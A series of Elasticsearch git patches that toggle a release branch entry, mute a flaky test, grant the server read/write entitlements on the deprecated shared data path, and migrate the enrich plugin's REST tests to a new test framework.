 branches.json | 3 ---
 1 file changed, 3 deletions(-)

diff --git a/branches.json b/branches.json
index a2feaf0715575..72dbe9c14f4e8 100644
--- a/branches.json
+++ b/branches.json
@@ -16,9 +16,6 @@
     {
       "branch": "8.18"
     },
-    {
-      "branch": "8.17"
-    },
     {
       "branch": "7.17"
     }

From 5c63d8776fd94565cc983bffa1a3c6744116d843 Mon Sep 17 00:00:00 2001
From: Brian Seeders <brian.seeders@elastic.co>
Date: Thu, 24 Jul 2025 16:36:25 -0400
Subject: [PATCH 231/299] Revert "Remove 8.17 from dev branches" (#131879)

This reverts commit f0bb49eb369ce32b9969b419b1cc2698600669a9.

(cherry picked from commit 48cb0ef12466b85966a58d75eee4eda313b02b5f)
---
 branches.json | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/branches.json b/branches.json
index 72dbe9c14f4e8..a2feaf0715575 100644
--- a/branches.json
+++ b/branches.json
@@ -16,6 +16,9 @@
     {
       "branch": "8.18"
     },
+    {
+      "branch": "8.17"
+    },
     {
       "branch": "7.17"
     }

From f3aa2ada5f7b4a899c8848a29117fdf0b2496978 Mon Sep 17 00:00:00 2001
From: Moritz Mack <mmack@apache.org>
Date: Fri, 25 Jul 2025 14:56:07 +0200
Subject: [PATCH 232/299] [9.1] Mute org.elasticsearch.xpack.stack.StackYamlIT
 test {yaml=stack/10_basic/Test wrong data_stream type - logs from 9.2.0}
 #131803 (#131912)

---
 muted-tests.yml | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/muted-tests.yml b/muted-tests.yml
index dc261c6a50caa..d792f180f9b65 100644
--- a/muted-tests.yml
+++ b/muted-tests.yml
@@ -453,6 +453,9 @@ tests:
 - class: org.elasticsearch.packaging.test.DockerTests
   method: test151MachineDependentHeapWithSizeOverride
   issue: https://github.com/elastic/elasticsearch/issues/123437
+- class: org.elasticsearch.xpack.stack.StackYamlIT
+  method: test {yaml=stack/10_basic/Test wrong data_stream type - logs from 9.2.0}
+  issue: https://github.com/elastic/elasticsearch/issues/131803
 
 # Examples:
 #

From a80b0944f358fe965f4d3223842d921a363a1b8f Mon Sep 17 00:00:00 2001
From: Moritz Mack <mmack@apache.org>
Date: Fri, 25 Jul 2025 16:00:18 +0200
Subject: [PATCH 233/299] Grant server read/write permissions on shared data
 path "path.shared_data". (#131680) (#131847)

Relates to ES-12447

(cherry picked from commit d16eb700eb6e95f33ec928154c44304158b70b88)
---
 docs/changelog/131680.yaml                           |  5 +++++
 .../entitlement/bootstrap/EntitlementBootstrap.java  |  3 +++
 .../entitlement/bootstrap/HardcodedEntitlements.java |  2 ++
 .../entitlement/runtime/policy/PathLookup.java       |  1 +
 .../entitlement/runtime/policy/PathLookupImpl.java   |  2 ++
 .../bootstrap/FilesEntitlementsValidationTests.java  |  1 +
 .../runtime/policy/FileAccessTreeTests.java          |  1 +
 .../runtime/policy/PolicyManagerTests.java           |  1 +
 .../policy/entitlements/FilesEntitlementTests.java   |  1 +
 .../org/elasticsearch/bootstrap/Elasticsearch.java   |  1 +
 .../bootstrap/TestEntitlementBootstrap.java          | 12 +++++++++++-
 11 files changed, 29 insertions(+), 1 deletion(-)
 create mode 100644 docs/changelog/131680.yaml

diff --git a/docs/changelog/131680.yaml b/docs/changelog/131680.yaml
new file mode 100644
index 0000000000000..0eec4d117b28f
--- /dev/null
+++ b/docs/changelog/131680.yaml
@@ -0,0 +1,5 @@
+pr: 131680
+summary: Grant server module read/write entitlements for deprecated path setting "path.shared_data"
+area: Infra/Core
+type: bug
+issues: []
diff --git a/libs/entitlement/src/main/java/org/elasticsearch/entitlement/bootstrap/EntitlementBootstrap.java b/libs/entitlement/src/main/java/org/elasticsearch/entitlement/bootstrap/EntitlementBootstrap.java
index 3d364f4b53cec..7a38ff50a8d6d 100644
--- a/libs/entitlement/src/main/java/org/elasticsearch/entitlement/bootstrap/EntitlementBootstrap.java
+++ b/libs/entitlement/src/main/java/org/elasticsearch/entitlement/bootstrap/EntitlementBootstrap.java
@@ -46,6 +46,7 @@ public class EntitlementBootstrap {
      * @param scopeResolver                a functor to map a Java Class to the component and module it belongs to.
      * @param settingResolver              a functor to resolve a setting name pattern for one or more Elasticsearch settings.
      * @param dataDirs                     data directories for Elasticsearch
+     * @param sharedDataDir                shared data directory for Elasticsearch (deprecated)
      * @param sharedRepoDirs               shared repository directories for Elasticsearch
      * @param configDir                    the config directory for Elasticsearch
      * @param libDir                       the lib directory for Elasticsearch
@@ -63,6 +64,7 @@ public static void bootstrap(
         Function<Class<?>, PolicyManager.PolicyScope> scopeResolver,
         Function<String, Stream<String>> settingResolver,
         Path[] dataDirs,
+        Path sharedDataDir,
         Path[] sharedRepoDirs,
         Path configDir,
         Path libDir,
@@ -82,6 +84,7 @@ public static void bootstrap(
             getUserHome(),
             configDir,
             dataDirs,
+            sharedDataDir,
             sharedRepoDirs,
             libDir,
             modulesDir,
diff --git a/libs/entitlement/src/main/java/org/elasticsearch/entitlement/bootstrap/HardcodedEntitlements.java b/libs/entitlement/src/main/java/org/elasticsearch/entitlement/bootstrap/HardcodedEntitlements.java
index 7ac921e29174f..278b9e773ae1f 100644
--- a/libs/entitlement/src/main/java/org/elasticsearch/entitlement/bootstrap/HardcodedEntitlements.java
+++ b/libs/entitlement/src/main/java/org/elasticsearch/entitlement/bootstrap/HardcodedEntitlements.java
@@ -37,6 +37,7 @@
 import static org.elasticsearch.entitlement.runtime.policy.PathLookup.BaseDir.LOGS;
 import static org.elasticsearch.entitlement.runtime.policy.PathLookup.BaseDir.MODULES;
 import static org.elasticsearch.entitlement.runtime.policy.PathLookup.BaseDir.PLUGINS;
+import static org.elasticsearch.entitlement.runtime.policy.PathLookup.BaseDir.SHARED_DATA;
 import static org.elasticsearch.entitlement.runtime.policy.PathLookup.BaseDir.SHARED_REPO;
 import static org.elasticsearch.entitlement.runtime.policy.Platform.LINUX;
 import static org.elasticsearch.entitlement.runtime.policy.entitlements.FilesEntitlement.Mode.READ;
@@ -57,6 +58,7 @@ private static List<Scope> createServerEntitlements(Path pidFile) {
             FilesEntitlement.FileData.ofBaseDirPath(LOGS, READ_WRITE),
             FilesEntitlement.FileData.ofBaseDirPath(LIB, READ),
             FilesEntitlement.FileData.ofBaseDirPath(DATA, READ_WRITE),
+            FilesEntitlement.FileData.ofBaseDirPath(SHARED_DATA, READ_WRITE),
             FilesEntitlement.FileData.ofBaseDirPath(SHARED_REPO, READ_WRITE),
             // exclusive settings file
             FilesEntitlement.FileData.ofRelativePath(Path.of("operator/settings.json"), CONFIG, READ_WRITE).withExclusive(true),
diff --git a/libs/entitlement/src/main/java/org/elasticsearch/entitlement/runtime/policy/PathLookup.java b/libs/entitlement/src/main/java/org/elasticsearch/entitlement/runtime/policy/PathLookup.java
index 3d2daf5e407c6..2febb301d1ab4 100644
--- a/libs/entitlement/src/main/java/org/elasticsearch/entitlement/runtime/policy/PathLookup.java
+++ b/libs/entitlement/src/main/java/org/elasticsearch/entitlement/runtime/policy/PathLookup.java
@@ -24,6 +24,7 @@ enum BaseDir {
         USER_HOME,
         CONFIG,
         DATA,
+        SHARED_DATA,
         SHARED_REPO,
         LIB,
         MODULES,
diff --git a/libs/entitlement/src/main/java/org/elasticsearch/entitlement/runtime/policy/PathLookupImpl.java b/libs/entitlement/src/main/java/org/elasticsearch/entitlement/runtime/policy/PathLookupImpl.java
index df259254025bb..d3be1d08ef989 100644
--- a/libs/entitlement/src/main/java/org/elasticsearch/entitlement/runtime/policy/PathLookupImpl.java
+++ b/libs/entitlement/src/main/java/org/elasticsearch/entitlement/runtime/policy/PathLookupImpl.java
@@ -25,6 +25,7 @@ public record PathLookupImpl(
     Path homeDir,
     Path configDir,
     Path[] dataDirs,
+    Path sharedDataDir,
     Path[] sharedRepoDirs,
     Path libDir,
     Path modulesDir,
@@ -56,6 +57,7 @@ public Stream<Path> getBaseDirPaths(BaseDir baseDir) {
         return switch (baseDir) {
             case USER_HOME -> Stream.of(homeDir);
             case DATA -> Arrays.stream(dataDirs);
+            case SHARED_DATA -> Stream.ofNullable(sharedDataDir);
             case SHARED_REPO -> Arrays.stream(sharedRepoDirs);
             case CONFIG -> Stream.of(configDir);
             case LIB -> Stream.of(libDir);
diff --git a/libs/entitlement/src/test/java/org/elasticsearch/entitlement/bootstrap/FilesEntitlementsValidationTests.java b/libs/entitlement/src/test/java/org/elasticsearch/entitlement/bootstrap/FilesEntitlementsValidationTests.java
index 7c4a14dd44cab..07631e7dbf5d6 100644
--- a/libs/entitlement/src/test/java/org/elasticsearch/entitlement/bootstrap/FilesEntitlementsValidationTests.java
+++ b/libs/entitlement/src/test/java/org/elasticsearch/entitlement/bootstrap/FilesEntitlementsValidationTests.java
@@ -48,6 +48,7 @@ public static void beforeClass() {
                 testBaseDir.resolve("user/home"),
                 TEST_CONFIG_DIR,
                 new Path[] { testBaseDir.resolve("data1"), testBaseDir.resolve("data2") },
+                Path.of("/shareddata"),
                 new Path[] { testBaseDir.resolve("shared1"), testBaseDir.resolve("shared2") },
                 TEST_LIBS_DIR,
                 testBaseDir.resolve("modules"),
diff --git a/libs/entitlement/src/test/java/org/elasticsearch/entitlement/runtime/policy/FileAccessTreeTests.java b/libs/entitlement/src/test/java/org/elasticsearch/entitlement/runtime/policy/FileAccessTreeTests.java
index 9307f89b4d0d3..5f5378b5e1fe9 100644
--- a/libs/entitlement/src/test/java/org/elasticsearch/entitlement/runtime/policy/FileAccessTreeTests.java
+++ b/libs/entitlement/src/test/java/org/elasticsearch/entitlement/runtime/policy/FileAccessTreeTests.java
@@ -59,6 +59,7 @@ private static Path path(String s) {
         Path.of("/home"),
         Path.of("/config"),
         new Path[] { Path.of("/data1"), Path.of("/data2") },
+        Path.of("/shareddata"),
         new Path[] { Path.of("/shared1"), Path.of("/shared2") },
         Path.of("/lib"),
         Path.of("/modules"),
diff --git a/libs/entitlement/src/test/java/org/elasticsearch/entitlement/runtime/policy/PolicyManagerTests.java b/libs/entitlement/src/test/java/org/elasticsearch/entitlement/runtime/policy/PolicyManagerTests.java
index e1f20a0eae990..29678d14fc507 100644
--- a/libs/entitlement/src/test/java/org/elasticsearch/entitlement/runtime/policy/PolicyManagerTests.java
+++ b/libs/entitlement/src/test/java/org/elasticsearch/entitlement/runtime/policy/PolicyManagerTests.java
@@ -71,6 +71,7 @@ public static void beforeClass() {
                 baseDir.resolve("/user/home"),
                 baseDir.resolve("/config"),
                 new Path[] { baseDir.resolve("/data1/"), baseDir.resolve("/data2") },
+                Path.of("/shareddata"),
                 new Path[] { baseDir.resolve("/shared1"), baseDir.resolve("/shared2") },
                 baseDir.resolve("/lib"),
                 baseDir.resolve("/modules"),
diff --git a/libs/entitlement/src/test/java/org/elasticsearch/entitlement/runtime/policy/entitlements/FilesEntitlementTests.java b/libs/entitlement/src/test/java/org/elasticsearch/entitlement/runtime/policy/entitlements/FilesEntitlementTests.java
index 84c4833ca6aae..d6f85eb4f069a 100644
--- a/libs/entitlement/src/test/java/org/elasticsearch/entitlement/runtime/policy/entitlements/FilesEntitlementTests.java
+++ b/libs/entitlement/src/test/java/org/elasticsearch/entitlement/runtime/policy/entitlements/FilesEntitlementTests.java
@@ -47,6 +47,7 @@ public static void setupRoot() {
         Path.of("/home"),
         Path.of("/config"),
         new Path[] { Path.of("/data1"), Path.of("/data2") },
+        Path.of("/shareddata"),
         new Path[] { Path.of("/shared1"), Path.of("/shared2") },
         Path.of("/lib"),
         Path.of("/modules"),
diff --git a/server/src/main/java/org/elasticsearch/bootstrap/Elasticsearch.java b/server/src/main/java/org/elasticsearch/bootstrap/Elasticsearch.java
index e38f2f88d4ad9..8b59a59dcf313 100644
--- a/server/src/main/java/org/elasticsearch/bootstrap/Elasticsearch.java
+++ b/server/src/main/java/org/elasticsearch/bootstrap/Elasticsearch.java
@@ -256,6 +256,7 @@ private static void initPhase2(Bootstrap bootstrap) throws IOException {
             scopeResolver::resolveClassToScope,
             nodeEnv.settings()::getValues,
             nodeEnv.dataDirs(),
+            nodeEnv.sharedDataDir(),
             nodeEnv.repoDirs(),
             nodeEnv.configDir(),
             nodeEnv.libDir(),
diff --git a/test/framework/src/main/java/org/elasticsearch/entitlement/bootstrap/TestEntitlementBootstrap.java b/test/framework/src/main/java/org/elasticsearch/entitlement/bootstrap/TestEntitlementBootstrap.java
index 3e6f09915358b..1edc0b4763abb 100644
--- a/test/framework/src/main/java/org/elasticsearch/entitlement/bootstrap/TestEntitlementBootstrap.java
+++ b/test/framework/src/main/java/org/elasticsearch/entitlement/bootstrap/TestEntitlementBootstrap.java
@@ -12,11 +12,11 @@
 import org.elasticsearch.bootstrap.TestBuildInfo;
 import org.elasticsearch.bootstrap.TestBuildInfoParser;
 import org.elasticsearch.bootstrap.TestScopeResolver;
+import org.elasticsearch.common.Strings;
 import org.elasticsearch.common.settings.Settings;
 import org.elasticsearch.core.Booleans;
 import org.elasticsearch.core.Nullable;
 import org.elasticsearch.core.PathUtils;
-import org.elasticsearch.core.Strings;
 import org.elasticsearch.core.SuppressForbidden;
 import org.elasticsearch.entitlement.initialization.EntitlementInitialization;
 import org.elasticsearch.entitlement.runtime.policy.PathLookup;
@@ -54,6 +54,7 @@
 import static org.elasticsearch.env.Environment.PATH_DATA_SETTING;
 import static org.elasticsearch.env.Environment.PATH_HOME_SETTING;
 import static org.elasticsearch.env.Environment.PATH_REPO_SETTING;
+import static org.elasticsearch.env.Environment.PATH_SHARED_DATA_SETTING;
 
 public class TestEntitlementBootstrap {
 
@@ -85,10 +86,12 @@ public static void registerNodeBaseDirs(Settings settings, Path configPath) {
         Path homeDir = absolutePath(PATH_HOME_SETTING.get(settings));
         Path configDir = configPath != null ? configPath : homeDir.resolve("config");
         Collection<Path> dataDirs = dataDirs(settings, homeDir);
+        Collection<Path> sharedDataDir = sharedDataDir(settings);
         Collection<Path> repoDirs = repoDirs(settings);
         logger.debug("Registering node dirs: config [{}], dataDirs [{}], repoDirs [{}]", configDir, dataDirs, repoDirs);
         baseDirPaths.compute(BaseDir.CONFIG, baseDirModifier(paths -> paths.add(configDir)));
         baseDirPaths.compute(BaseDir.DATA, baseDirModifier(paths -> paths.addAll(dataDirs)));
+        baseDirPaths.compute(BaseDir.SHARED_DATA, baseDirModifier(paths -> paths.addAll(sharedDataDir)));
         baseDirPaths.compute(BaseDir.SHARED_REPO, baseDirModifier(paths -> paths.addAll(repoDirs)));
         policyManager.reset();
     }
@@ -100,10 +103,12 @@ public static void unregisterNodeBaseDirs(Settings settings, Path configPath) {
         Path homeDir = absolutePath(PATH_HOME_SETTING.get(settings));
         Path configDir = configPath != null ? configPath : homeDir.resolve("config");
         Collection<Path> dataDirs = dataDirs(settings, homeDir);
+        Collection<Path> sharedDataDir = sharedDataDir(settings);
         Collection<Path> repoDirs = repoDirs(settings);
         logger.debug("Unregistering node dirs: config [{}], dataDirs [{}], repoDirs [{}]", configDir, dataDirs, repoDirs);
         baseDirPaths.compute(BaseDir.CONFIG, baseDirModifier(paths -> paths.remove(configDir)));
         baseDirPaths.compute(BaseDir.DATA, baseDirModifier(paths -> paths.removeAll(dataDirs)));
+        baseDirPaths.compute(BaseDir.SHARED_DATA, baseDirModifier(paths -> paths.removeAll(sharedDataDir)));
         baseDirPaths.compute(BaseDir.SHARED_REPO, baseDirModifier(paths -> paths.removeAll(repoDirs)));
         policyManager.reset();
     }
@@ -115,6 +120,11 @@ private static Collection<Path> dataDirs(Settings settings, Path homeDir) {
             : dataDirs.stream().map(TestEntitlementBootstrap::absolutePath).toList();
     }
 
+    private static Collection<Path> sharedDataDir(Settings settings) {
+        String sharedDataDir = PATH_SHARED_DATA_SETTING.get(settings);
+        return Strings.hasText(sharedDataDir) ? List.of(absolutePath(sharedDataDir)) : List.of();
+    }
+
     private static Collection<Path> repoDirs(Settings settings) {
         return PATH_REPO_SETTING.get(settings).stream().map(TestEntitlementBootstrap::absolutePath).toList();
     }

From 0596b025c8836b18315f4b87f9bc295e8080281f Mon Sep 17 00:00:00 2001
From: Moritz Mack <mmack@apache.org>
Date: Fri, 25 Jul 2025 16:04:50 +0200
Subject: [PATCH 234/299] Migrate x-pack-enrich legacy rest tests to new test
 framework (#131743) (#131856)

---
 .../internal/RestrictedBuildApiService.java   |  3 --
 x-pack/plugin/enrich/build.gradle             | 28 ++++++++++++-
 x-pack/plugin/enrich/qa/build.gradle          |  0
 x-pack/plugin/enrich/qa/common/build.gradle   |  5 ---
 .../rest-with-advanced-security/build.gradle  | 23 -----------
 .../enrich/qa/rest-with-security/build.gradle | 28 -------------
 x-pack/plugin/enrich/qa/rest/build.gradle     | 40 -------------------
 .../elasticsearch/xpack/enrich/EnrichIT.java  | 11 -----
 .../test/enrich/CommonEnrichRestTestCase.java | 25 ++++++++++++
 .../enrich/EnrichAdvancedSecurityIT.java      | 29 ++++++++++----
 .../elasticsearch/test/enrich/EnrichIT.java   | 20 ++++++++++
 .../test}/enrich/EnrichSecurityFailureIT.java | 32 ++++++++++-----
 .../test}/enrich/EnrichSecurityIT.java        | 29 ++++++++++----
 .../resources/advanced_roles.yml}             |  0
 .../javaRestTest/resources}/roles.yml         |  0
 .../xpack/enrich/EnrichRestIT.java            | 16 +++++++-
 16 files changed, 150 insertions(+), 139 deletions(-)
 delete mode 100644 x-pack/plugin/enrich/qa/build.gradle
 delete mode 100644 x-pack/plugin/enrich/qa/common/build.gradle
 delete mode 100644 x-pack/plugin/enrich/qa/rest-with-advanced-security/build.gradle
 delete mode 100644 x-pack/plugin/enrich/qa/rest-with-security/build.gradle
 delete mode 100644 x-pack/plugin/enrich/qa/rest/build.gradle
 delete mode 100644 x-pack/plugin/enrich/qa/rest/src/javaRestTest/java/org/elasticsearch/xpack/enrich/EnrichIT.java
 rename x-pack/plugin/enrich/{qa/common/src/main => src/javaRestTest}/java/org/elasticsearch/test/enrich/CommonEnrichRestTestCase.java (92%)
 rename x-pack/plugin/enrich/{qa/rest-with-advanced-security/src/javaRestTest/java/org/elasticsearch/xpack => src/javaRestTest/java/org/elasticsearch/test}/enrich/EnrichAdvancedSecurityIT.java (88%)
 create mode 100644 x-pack/plugin/enrich/src/javaRestTest/java/org/elasticsearch/test/enrich/EnrichIT.java
 rename x-pack/plugin/enrich/{qa/rest-with-security/src/javaRestTest/java/org/elasticsearch/xpack => src/javaRestTest/java/org/elasticsearch/test}/enrich/EnrichSecurityFailureIT.java (53%)
 rename x-pack/plugin/enrich/{qa/rest-with-security/src/javaRestTest/java/org/elasticsearch/xpack => src/javaRestTest/java/org/elasticsearch/test}/enrich/EnrichSecurityIT.java (65%)
 rename x-pack/plugin/enrich/{qa/rest-with-advanced-security/roles.yml => src/javaRestTest/resources/advanced_roles.yml} (100%)
 rename x-pack/plugin/enrich/{qa/rest-with-security => src/javaRestTest/resources}/roles.yml (100%)
 rename x-pack/plugin/enrich/{qa/rest => }/src/yamlRestTest/java/org/elasticsearch/xpack/enrich/EnrichRestIT.java (59%)

diff --git a/build-tools-internal/src/main/java/org/elasticsearch/gradle/internal/RestrictedBuildApiService.java b/build-tools-internal/src/main/java/org/elasticsearch/gradle/internal/RestrictedBuildApiService.java
index 205930133156c..6d3d712efe214 100644
--- a/build-tools-internal/src/main/java/org/elasticsearch/gradle/internal/RestrictedBuildApiService.java
+++ b/build-tools-internal/src/main/java/org/elasticsearch/gradle/internal/RestrictedBuildApiService.java
@@ -59,9 +59,6 @@ private static ListMultimap<Class<?>, String> createLegacyRestTestBasePluginUsag
         map.put(LegacyRestTestBasePlugin.class, ":x-pack:plugin:deprecation:qa:early-deprecation-rest");
         map.put(LegacyRestTestBasePlugin.class, ":x-pack:plugin:deprecation:qa:rest");
         map.put(LegacyRestTestBasePlugin.class, ":x-pack:plugin:downsample:qa:with-security");
-        map.put(LegacyRestTestBasePlugin.class, ":x-pack:plugin:enrich:qa:rest");
-        map.put(LegacyRestTestBasePlugin.class, ":x-pack:plugin:enrich:qa:rest-with-advanced-security");
-        map.put(LegacyRestTestBasePlugin.class, ":x-pack:plugin:enrich:qa:rest-with-security");
         map.put(LegacyRestTestBasePlugin.class, ":x-pack:plugin:ent-search:qa:rest");
         map.put(LegacyRestTestBasePlugin.class, ":x-pack:plugin:eql:qa:ccs-rolling-upgrade");
         map.put(LegacyRestTestBasePlugin.class, ":x-pack:plugin:eql:qa:correctness");
diff --git a/x-pack/plugin/enrich/build.gradle b/x-pack/plugin/enrich/build.gradle
index 46972578ae1fc..e426a4f2c58cf 100644
--- a/x-pack/plugin/enrich/build.gradle
+++ b/x-pack/plugin/enrich/build.gradle
@@ -1,9 +1,12 @@
 apply plugin: 'elasticsearch.internal-es-plugin'
 apply plugin: 'elasticsearch.internal-cluster-test'
+apply plugin: 'elasticsearch.internal-java-rest-test'
+apply plugin: 'elasticsearch.internal-yaml-rest-test'
+
 esplugin {
   name = 'x-pack-enrich'
   description = 'Elasticsearch Expanded Pack Plugin - Enrich'
-  classname ='org.elasticsearch.xpack.enrich.EnrichPlugin'
+  classname = 'org.elasticsearch.xpack.enrich.EnrichPlugin'
   extendedPlugins = ['x-pack-core']
 }
 base {
@@ -20,6 +23,27 @@ dependencies {
   testImplementation project(xpackModule('spatial'))
   testImplementation(testArtifact(project(xpackModule('monitoring'))))
   internalClusterTestImplementation project(':modules:rest-root')
+
+  clusterModules project(':modules:analysis-common')
+  clusterModules project(':modules:ingest-common')
+  clusterModules project(':modules:mapper-extras')
+
+  clusterModules project(xpackModule('monitoring'))
+  clusterModules project(xpackModule('ilm'))
+  clusterModules project(xpackModule('wildcard'))
+}
+
+tasks.named('yamlRestTest') {
+  // single tests can be run using the same cluster configuration as used for Java REST tests, but cleanup inbetween tests fails
+  usesDefaultDistribution("cleanUpCluster fails if not using the default distribution")
+}
+
+restResources {
+  restApi {
+    include '_common', 'bulk', 'indices', 'index', 'ingest.delete_pipeline', 'ingest.put_pipeline', 'enrich', 'get', 'capabilities'
+  }
+  restTests {
+    includeXpack 'enrich'
+  }
 }
 
-addQaCheckDependencies(project)
diff --git a/x-pack/plugin/enrich/qa/build.gradle b/x-pack/plugin/enrich/qa/build.gradle
deleted file mode 100644
index e69de29bb2d1d..0000000000000
diff --git a/x-pack/plugin/enrich/qa/common/build.gradle b/x-pack/plugin/enrich/qa/common/build.gradle
deleted file mode 100644
index d12c4b471b29e..0000000000000
--- a/x-pack/plugin/enrich/qa/common/build.gradle
+++ /dev/null
@@ -1,5 +0,0 @@
-apply plugin: 'elasticsearch.java'
-
-dependencies {
-  api project(':test:framework')
-}
diff --git a/x-pack/plugin/enrich/qa/rest-with-advanced-security/build.gradle b/x-pack/plugin/enrich/qa/rest-with-advanced-security/build.gradle
deleted file mode 100644
index 6a1f820e36205..0000000000000
--- a/x-pack/plugin/enrich/qa/rest-with-advanced-security/build.gradle
+++ /dev/null
@@ -1,23 +0,0 @@
-/*
- * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
- * or more contributor license agreements. Licensed under the Elastic License
- * 2.0; you may not use this file except in compliance with the Elastic License
- * 2.0.
- */
-
-apply plugin: 'elasticsearch.legacy-java-rest-test'
-
-dependencies {
-  javaRestTestImplementation project(path: xpackModule('core'))
-  javaRestTestImplementation project(path: xpackModule('enrich:qa:common'))
-}
-
-testClusters.configureEach {
-  testDistribution = 'DEFAULT'
-  extraConfigFile 'roles.yml', file('roles.yml')
-  user username: "test_admin", password: "x-pack-test-password", role: "superuser"
-  user username: "test_enrich", password: "x-pack-test-password", role: "integ_test_role"
-  setting 'xpack.license.self_generated.type', 'trial'
-  setting 'xpack.security.enabled', 'true'
-  setting 'xpack.monitoring.collection.enabled', 'true'
-}
diff --git a/x-pack/plugin/enrich/qa/rest-with-security/build.gradle b/x-pack/plugin/enrich/qa/rest-with-security/build.gradle
deleted file mode 100644
index 17a213a6e7f0d..0000000000000
--- a/x-pack/plugin/enrich/qa/rest-with-security/build.gradle
+++ /dev/null
@@ -1,28 +0,0 @@
-/*
- * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
- * or more contributor license agreements. Licensed under the Elastic License
- * 2.0; you may not use this file except in compliance with the Elastic License
- * 2.0.
- */
-
-apply plugin: 'elasticsearch.legacy-java-rest-test'
-
-dependencies {
-  javaRestTestImplementation project(path: xpackModule('core'))
-  javaRestTestImplementation project(path: xpackModule('enrich:qa:common'))
-}
-if (buildParams.inFipsJvm){
-  // This test cluster is using a BASIC license and FIPS 140 mode is not supported in BASIC
-  tasks.named("javaRestTest").configure{enabled = false }
-}
-
-testClusters.configureEach {
-  testDistribution = 'DEFAULT'
-  extraConfigFile 'roles.yml', file('roles.yml')
-  user username: "test_admin", password: "x-pack-test-password", role: "superuser"
-  user username: "test_enrich", password: "x-pack-test-password", role: "enrich_user,integ_test_role"
-  user username: "test_enrich_no_privs", password: "x-pack-test-password", role: "enrich_no_privs"
-  setting 'xpack.license.self_generated.type', 'basic'
-  setting 'xpack.security.enabled', 'true'
-  setting 'xpack.monitoring.collection.enabled', 'true'
-}
diff --git a/x-pack/plugin/enrich/qa/rest/build.gradle b/x-pack/plugin/enrich/qa/rest/build.gradle
deleted file mode 100644
index cf3c687004cbb..0000000000000
--- a/x-pack/plugin/enrich/qa/rest/build.gradle
+++ /dev/null
@@ -1,40 +0,0 @@
-/*
- * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
- * or more contributor license agreements. Licensed under the Elastic License
- * 2.0; you may not use this file except in compliance with the Elastic License
- * 2.0.
- */
-
-apply plugin: 'elasticsearch.legacy-java-rest-test'
-apply plugin: 'elasticsearch.legacy-yaml-rest-test'
-apply plugin: 'elasticsearch.legacy-yaml-rest-compat-test'
-
-import org.elasticsearch.gradle.Version
-
-restResources {
-  restApi {
-    include '_common', 'bulk', 'indices', 'index', 'ingest.delete_pipeline', 'ingest.put_pipeline', 'enrich', 'get', 'capabilities'
-  }
-  restTests {
-    includeXpack 'enrich'
-  }
-}
-
-dependencies {
-  javaRestTestImplementation project(path: xpackModule('enrich:qa:common'))
-}
-
-if (buildParams.inFipsJvm){
-  // This test cluster is using a BASIC license and FIPS 140 mode is not supported in BASIC
-  tasks.named("javaRestTest").configure{enabled = false }
-  tasks.named("yamlRestTest").configure{enabled = false }
-}
-
-testClusters.configureEach {
-  testDistribution = 'DEFAULT'
-  setting 'xpack.license.self_generated.type', 'basic'
-  setting 'xpack.monitoring.collection.enabled', 'true'
-  setting 'xpack.security.enabled', 'false'
-  requiresFeature 'es.index_mode_feature_flag_registered', Version.fromString("8.4.0")
-}
-
diff --git a/x-pack/plugin/enrich/qa/rest/src/javaRestTest/java/org/elasticsearch/xpack/enrich/EnrichIT.java b/x-pack/plugin/enrich/qa/rest/src/javaRestTest/java/org/elasticsearch/xpack/enrich/EnrichIT.java
deleted file mode 100644
index 981fe393edc5b..0000000000000
--- a/x-pack/plugin/enrich/qa/rest/src/javaRestTest/java/org/elasticsearch/xpack/enrich/EnrichIT.java
+++ /dev/null
@@ -1,11 +0,0 @@
-/*
- * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
- * or more contributor license agreements. Licensed under the Elastic License
- * 2.0; you may not use this file except in compliance with the Elastic License
- * 2.0.
- */
-package org.elasticsearch.xpack.enrich;
-
-import org.elasticsearch.test.enrich.CommonEnrichRestTestCase;
-
-public class EnrichIT extends CommonEnrichRestTestCase {}
diff --git a/x-pack/plugin/enrich/qa/common/src/main/java/org/elasticsearch/test/enrich/CommonEnrichRestTestCase.java b/x-pack/plugin/enrich/src/javaRestTest/java/org/elasticsearch/test/enrich/CommonEnrichRestTestCase.java
similarity index 92%
rename from x-pack/plugin/enrich/qa/common/src/main/java/org/elasticsearch/test/enrich/CommonEnrichRestTestCase.java
rename to x-pack/plugin/enrich/src/javaRestTest/java/org/elasticsearch/test/enrich/CommonEnrichRestTestCase.java
index 7107553d8b8b3..6c1f6055a4d22 100644
--- a/x-pack/plugin/enrich/qa/common/src/main/java/org/elasticsearch/test/enrich/CommonEnrichRestTestCase.java
+++ b/x-pack/plugin/enrich/src/javaRestTest/java/org/elasticsearch/test/enrich/CommonEnrichRestTestCase.java
@@ -11,10 +11,14 @@
 import org.elasticsearch.client.Response;
 import org.elasticsearch.client.ResponseException;
 import org.elasticsearch.common.Strings;
+import org.elasticsearch.common.settings.SecureString;
 import org.elasticsearch.common.settings.Settings;
+import org.elasticsearch.common.util.concurrent.ThreadContext;
 import org.elasticsearch.common.xcontent.XContentHelper;
 import org.elasticsearch.common.xcontent.support.XContentMapValues;
 import org.elasticsearch.index.query.QueryBuilders;
+import org.elasticsearch.test.cluster.ElasticsearchCluster;
+import org.elasticsearch.test.cluster.local.LocalClusterSpecBuilder;
 import org.elasticsearch.test.rest.ESRestTestCase;
 import org.elasticsearch.xcontent.XContentBuilder;
 import org.elasticsearch.xcontent.json.JsonXContent;
@@ -34,6 +38,27 @@
 
 public abstract class CommonEnrichRestTestCase extends ESRestTestCase {
 
+    static LocalClusterSpecBuilder<ElasticsearchCluster> enrichCluster(String license, boolean isSecurityEnabled) {
+        return ElasticsearchCluster.local()
+            .module("analysis-common")
+            .module("ingest-common")
+            .module("mapper-extras")
+            .module("x-pack-enrich")
+            .module("x-pack-monitoring")
+            .module("x-pack-ilm")
+            .module("wildcard")
+            .setting("xpack.security.enabled", Boolean.toString(isSecurityEnabled))
+            .setting("xpack.license.self_generated.type", license)
+            // silence stats collector errors (we don't want to add all xpack modules here)
+            .setting("logger.org.elasticsearch.xpack.monitoring.collector", "fatal")
+            .setting("xpack.monitoring.collection.enabled", "true");
+    }
+
+    static Settings authRequestHeaderSetting(String user, String password) {
+        String token = basicAuthHeaderValue(user, new SecureString(password.toCharArray()));
+        return Settings.builder().put(ThreadContext.PREFIX + ".Authorization", token).build();
+    }
+
